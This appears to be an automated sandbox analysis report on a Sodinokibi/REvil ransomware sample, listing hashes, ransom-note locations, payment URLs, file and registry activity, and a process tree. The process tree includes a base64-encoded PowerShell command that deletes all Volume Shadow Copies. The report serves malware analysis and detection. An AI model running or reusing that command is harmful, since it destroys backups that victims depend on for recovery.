Analysis
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max time kernel
48s -
max time network
34s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241023-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
20-11-2024 09:48
Behavioral task
behavioral1
Sample
solara.dll
Resource
win10ltsc2021-20241023-en
General
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Target
solara.dll
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Size
164KB
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MD5
6e3efb83299d800edf1624ecbc0665e7
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SHA1
0bd22f204c5373f1a22d9a02c59f69f354a2cc0d
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SHA256
2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6
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SHA512
dd1675bb15eb8ea2933b25413271117823ad7ff38280e7f552b5201e3a5bef8607a2112df2e24f598449ebfdb570ff9458aba0314ed8819dd4d774ea855e9ad2
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SSDEEP
3072:FWeI5JXJRGpUhFiWjmfb+HP+rnRfU9ECs5p:FWe29/GuzjmfCHWtUiCs5p
Malware Config
Extracted
C:\Users\m3330-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/15E0CC2FCB880A0B
http://decryptor.top/15E0CC2FCB880A0B
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Sodinokibi family
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\D: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\I: rundll32.exe -
Drops file in Program Files directory 25 IoCs
description ioc Process File created \??\c:\program files (x86)\m3330-readme.txt rundll32.exe File opened for modification \??\c:\program files\FormatNew.m4a rundll32.exe File opened for modification \??\c:\program files\GetCheckpoint.cfg rundll32.exe File opened for modification \??\c:\program files\UnregisterUninstall.wps rundll32.exe File opened for modification \??\c:\program files\JoinPop.xltm rundll32.exe File opened for modification \??\c:\program files\SubmitSearch.dotx rundll32.exe File opened for modification \??\c:\program files\UnlockMerge.js rundll32.exe File opened for modification \??\c:\program files\UnprotectProtect.ADTS rundll32.exe File opened for modification \??\c:\program files\SwitchSubmit.search-ms rundll32.exe File opened for modification \??\c:\program files\WaitRedo.vsdm rundll32.exe File opened for modification \??\c:\program files\BlockRemove.vbe rundll32.exe File opened for modification \??\c:\program files\JoinCheckpoint.kix rundll32.exe File opened for modification \??\c:\program files\OutAdd.vstm rundll32.exe File opened for modification \??\c:\program files\PingSubmit.zip rundll32.exe File opened for modification \??\c:\program files\SkipExport.midi rundll32.exe File opened for modification \??\c:\program files\StepUpdate.dxf rundll32.exe File opened for modification \??\c:\program files\SendResolve.dotx rundll32.exe File opened for modification \??\c:\program files\UnpublishUnregister.jpe rundll32.exe File created \??\c:\program files\m3330-readme.txt rundll32.exe File opened for modification \??\c:\program files\BackupStop.wmf rundll32.exe File opened for modification \??\c:\program files\GrantRequest.TS rundll32.exe File opened for modification \??\c:\program files\ImportUninstall.DVR-MS rundll32.exe File opened for modification \??\c:\program files\OpenSuspend.jpeg rundll32.exe File opened for modification \??\c:\program files\RemoveMerge.svgz rundll32.exe File opened for modification \??\c:\program files\WaitSend.gif rundll32.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000_Classes\Local Settings OpenWith.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 280 NOTEPAD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5560 rundll32.exe 5560 rundll32.exe 2616 powershell.exe 2616 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2616 powershell.exe Token: SeBackupPrivilege 5048 vssvc.exe Token: SeRestorePrivilege 5048 vssvc.exe Token: SeAuditPrivilege 5048 vssvc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4520 NOTEPAD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 748 OpenWith.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4264 wrote to memory of 5560 4264 rundll32.exe 82 PID 4264 wrote to memory of 5560 4264 rundll32.exe 82 PID 4264 wrote to memory of 5560 4264 rundll32.exe 82 PID 5560 wrote to memory of 2616 5560 rundll32.exe 86 PID 5560 wrote to memory of 2616 5560 rundll32.exe 86 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\solara.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:4264 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\solara.dll,#12⤵
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5560 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2616
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:4824
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5048
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C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:748
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C:\Windows\System32\NOTEPAD.EXE"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GroupNew.cmd1⤵
- Opens file in notepad (likely ransom note)
PID:280
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C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\m3330-readme.txt1⤵
- Suspicious use of FindShellTrayWindow
PID:4520
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
6KB
MD567b7d487208598d94f97f33b6e92a1f5
SHA1b83276201dfafa1b88cd8d489bac8d8427f30075
SHA25642dcd195d5efbe0602638461dc3f59baa01d4257d0059539e3c3d477a1f0e14a
SHA512757dc081d6dfdeac6b4cb8fea2ac2b9221e365cac665f30faf3c617a4486d47e3969442410d483862cff25b962682182c7e32169e5312baa899d9cba6af13eed